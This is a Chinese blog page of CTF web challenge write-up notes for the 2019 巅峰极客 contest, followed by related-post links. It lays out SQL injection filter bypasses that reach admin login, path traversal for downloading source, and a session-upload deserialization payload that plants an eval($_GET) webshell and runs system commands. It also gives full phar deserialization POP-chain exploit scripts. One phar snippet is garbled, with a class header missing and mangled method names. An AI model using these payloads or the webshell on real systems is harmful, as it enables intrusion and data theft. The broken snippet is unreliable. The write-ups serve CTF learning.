@php反序列化漏洞https://www.freebuf.com/news/172507.html

@巅峰极客wp

https://www.anquanke.com/post/id/189142

@巅峰极客Web-aweb_1

登录注册,本质就是注入呗,or二次注入

法一:

功能只有三个,登录,注册,查看个人信息。

看了一下,估计就是注册、登录有注入点了。

fuzz了一下,发现在注册的时候,用户名加单引号,登陆后查看个人信息,会500报错。

那么注入点应该就在这里。fuzz了一下,过滤了一些关键词,空格也被过滤了,用 /**/可绕过,注释符用 --

成功注入,登录查看个人信息,就能看到flag1。

法二:

访问即提示只有admin才能看到flag,因此必须成为admin,看了一下cookie,不是flask的,应该不会是flask session伪造,这里直接登录注册,发现当注册的用户名存在敏感字符时会提示hacker

那么应该漏洞点在用户名处,并且有很大可能是注入,因此尝试闭合单引号

当注册wfz’/**/OR/**/’1时,这时候可以成功登陆,并且此时用户名为test,说明闭合了单引号,因此成功登录了test用户,此时需要我们要登录admin

尝试wfz’/**/OR/**/name=’admin即可拿到flag

@巅峰极客--lol

https://github.com/susers/Writeups/blob/some_files/2019/lol.tar.gz

对上传与下载做测试,使用名为upload的PHPSESSID上传文件后再将PHPSESSID更改为upload/../../,请求download/index.php可以下载到index.php的源码。同理可以下载到整个站点的源码。

在core/config.php中

<?php
$config=array(
    'debug'=>'false',
    'ini'=>array(
        'session.name' => 'PHPSESSID',
        'session.serialize_handler' => 'php'
    )
);

可以看到这里更改了session.serialize_handler为php,猜测考察session反序列化。

联系app/model/Cache.class.php

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }

    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

此处存在反序列化漏洞可以使我们写入shell并包含。

<form action="题目地址/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

随便上传一个文件,抓包并修改filename为

file"; filename="§|O:5:§"Cache":4:{s:4:"data";a:3:{s:7:"message";s:24:"<?php eval($_GET[qq]);?>";s:4:"name";s:1:"t";s:5:"image";s:1:"t";}s:2:"sj";N;s:4:"path";s:23:"/var/www/html/write.php";s:4:"html";N;}"

用intruder无限循环请求,访问/index.php?qq=system(‘cat+/flag’);即可获取到flag。

 法二:

1. 题目的灵感是一次渗透测试中遇到的一个网站。本题存在任意文件下载,利用..\..\index.php绕过获取所有源码(由于题目是linux环境只需要..\..\index.php即可。如果是windows环境的话,需要..\..\\aa\..\core\config.php利用不存在的文件夹aa和\\双反斜杠绕过apache的解析。

2. 代码审计后,发现题目存在反序列化,且$this->data['image']可控,并且没有被转义。构造payload可任意写文件。

3. 利用ini_set和chdir绕过open_basedir()。写cc.php文件到网站根目录,访问cc.php,获取flag

4. 编写 exp.py, 运行即可获取flag。

@巅峰极客--upload

题目只有一个网页,一段代码

法一:

3个功能,查看文件:file.php,上传文件:upload_file.php,下载文件:download.php。下载文件那里给了源码,看了一下过滤挺多,有点难用。上传文件直接给了上传文件的路径,强制   .jpg结尾,不过能上传任意类型文件。

查看文件那里,fuzz了一下,可以直接读文件,过滤了一些关键词,不过这几个功能页面的源码都能读,要用绝对路径。

--------------------------------------------

一看这,就想起漏洞点 phar反序列化。

接下来就是构造利用链。

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<script language="php">     HALT_COMPILER();</script>');
public $source; public $str;
public function      construct()
{
$this->source = '/flag';
}
}

class S6ow
{
public $file; public $params; public $_show;
public function      construct()
{
$this->_show = 'file_get';
$this->file = new Show();
}
}

class Sh0w
{
public $test; public $str;
public function      construct()

改名 1.jpg,然后上传。

访问/file.php?file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg,拿到flag。

 法二:

首先根据download.php可以看到此时可以传入name参数,并且此时我们传入的name将经过safe_replace()处理以后,然后进行文件下载,这里限制了文件名并且要求过滤了以后的文件名必须在白名单里面,因此这里要bypass一下safe_replace(),这里我尝试了<>,*,select,%,反引号,||,&字符都没成功,当尝试反斜杠时,发现可以成功读取文件,因此可以直接下载所有源码文件:

下载完源码以后就是代码审计,

根据这种自己写的几个php文件,第一个反应就是找存不存在反序列化的点

这里明显存在phar反序列化,都考烂了,并且有上传文件的功能,路径也已知,并且这里并没有过滤phar,可以直接phar反序列化,那么确定了漏洞点,接下来就是找pop链

class.php中Sh0w类存在destruct,Show类中存在wakeup函数,但是没法利用,因此选择Sh0w类的destruct来进行构造pop

虽然这里调用了_show()方法,但是此时Show的_show函数过滤了过滤了flag,感觉没法利用

但是它还有个tostring()魔术方法,没有过滤,可以直接任意文件读取,当对象被当做字符串输出的时候,就能够触发该对象的toString()方法

刚好S6ow存在file_get函数存在echo

因此只要调用它,并令file为Show类的对象即可调用toString,那么此时我们只需要让Sh0w的str为S6ow类的对象,即可触发器call方法,这里

我们只需要让this->{name}为file_get即可,结合

get方法,当访问不存在的属性将访问其返回$this->params[$key],因此这里我们就能够使用params[‘_show’]=“file_get”即可,要读取的flag位于/flag下,因此可以结合phar构造通用脚本构造exp如下:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
class Show
{
    public $source;
    public function __construct(){
            $this->source="/flag";
    }
}

class S6ow
{
    public $file;
    public $params;

}
class Sh0w
{
    public $test;
    public $str;
}
$c=new Show();
$b=new S6ow();
$b->params['_show']="file_get";
$b->file=$c;
$object = new Sh0w();
$object->str=$b;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

然后将base64解码就是flag

web赛题的更多相关文章

  1. web赛题3

    2019--21省赛 wp:https://xz.aliyun.com/t/6458 2019-11-22蚂蚁金服(南邮)wp有了,微信 https://platform.d3ctf.io/#/ @d ...

  2. web赛题2

    @上海赛wp 微信 和 https://www.ctfwp.com/articals/2019unctf.html 后续公告https://unctf.buuoj.cn/notice.html 必看! ...

  3. 【天池大数据赛题解析】资金流入流出预测(附Top4答辩ppt)

    http://mp.weixin.qq.com/s?__biz=MzA3MDg0MjgxNQ==&mid=208451006&idx=1&sn=532e41cf020a0673 ...

  4. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  5. CSDN 轻松周赛赛题:能否被8整除

    轻松周赛赛题:能否被8整除 题目详情 给定一个非负整数,问能否重排它的全部数字,使得重排后的数能被8整除. 输入格式: 多组数据,每组数据是一个非负整数.非负整数的位数不超过10000位. 输出格式 ...

  6. O准备如何苟进复赛圈?华为软挑开挂指南(附赛题预测)

    事先声明,这不是华为软挑的软广,我也不是海军. 这篇文章纯粹是心血来潮,原因是去年上传到github的参赛代码,前几天又有两个人star和fork了. 记得star热潮还是去年4月复赛刚结束的那几天, ...

  7. kaggle赛题Digit Recognizer:利用TensorFlow搭建神经网络(附上K邻近算法模型预测)

    一.前言 kaggle上有传统的手写数字识别mnist的赛题,通过分类算法,将图片数据进行识别.mnist数据集里面,包含了42000张手写数字0到9的图片,每张图片为28*28=784的像素,所以整 ...

  8. 天池新闻推荐比赛1:赛题理解+baseline

    天池新闻推荐比赛1:赛题理解+baseline 一.比赛信息 比赛链接: ​ https://tianchi.aliyun.com/competition/entrance/531842/inform ...

  9. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

随机推荐

  1. bzoj1711[USACO07OPEN]吃饭Dining

    题意 有F种食物和D种饮料,每种食物或饮料只能供一头牛享用,且每头牛只享用一种食物和一种饮料.现在有n头牛,每头牛都有自己喜欢的食物种类列表和饮料种类列表,问最多能使几头牛同时享用到自己喜欢的食物和饮 ...

  2. 218多校第九场 HDU 6424 (数学)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6424 题意:定义f(A) = log log log log …. (A个log) n ,g[A,B, ...

  3. 2018多校第九场 HDU 6416 (DP+前缀和优化)

    转自:https://blog.csdn.net/CatDsy/article/details/81876341 #include <bits/stdc++.h> using namesp ...

  4. [Docker] Run a command inside Docker container

    For example you are working in a backend project, you have setup Dockerfile: FROM node:10.16.0-stret ...

  5. SQL Server 基础:朝花夕拾

    序言 INSERT INTO SELECT 与 SELECT INTO 通俗来讲,INSERT INTO SELECT 和 SELECT INTO 两个语句的作用都是复制表,因为都是从一个表中查询出数 ...

  6. HGOI20191115 模拟赛 题解

    Problem A 表演 有$n$个有点权的点,$m$个有边权的边.对于每个点$u$,输出从这个点出发到$v$,其路径权值的两倍加上v的点权和最小的值. 对于$100\%$的数据,满足$1 \leq ...

  7. 制作自己的livecd

    把现有ubuntu系统打包,迁移到另外一台硬件一模一样的机器上. https://zhuanlan.zhihu.com/p/51827233 https://blog.csdn.net/vah101/ ...

  8. 死磕Java之聊聊HashMap源码(基于JDK1.8)

    死磕Java之聊聊HashMap源码(基于JDK1.8) http://cmsblogs.com/?p=4731 为什么面试要问hashmap 的原理

  9. java线程基础方法详解

    一.线程状态转换 1.新建状态(New):新创建了一个线程对象. 2.就绪状态(Runnable):线程对象创建后,其他线程调用了该对象的start()方法.该状态的线程位于可运行线程池中,变得可运行 ...

  10. 第11组 Alpha冲刺(2/6)

    第11组 Alpha冲刺(2/6)   队名 不知道叫什么团队 组长博客 https://www.cnblogs.com/xxylac/p/11860949.html 作业博客 https://edu ...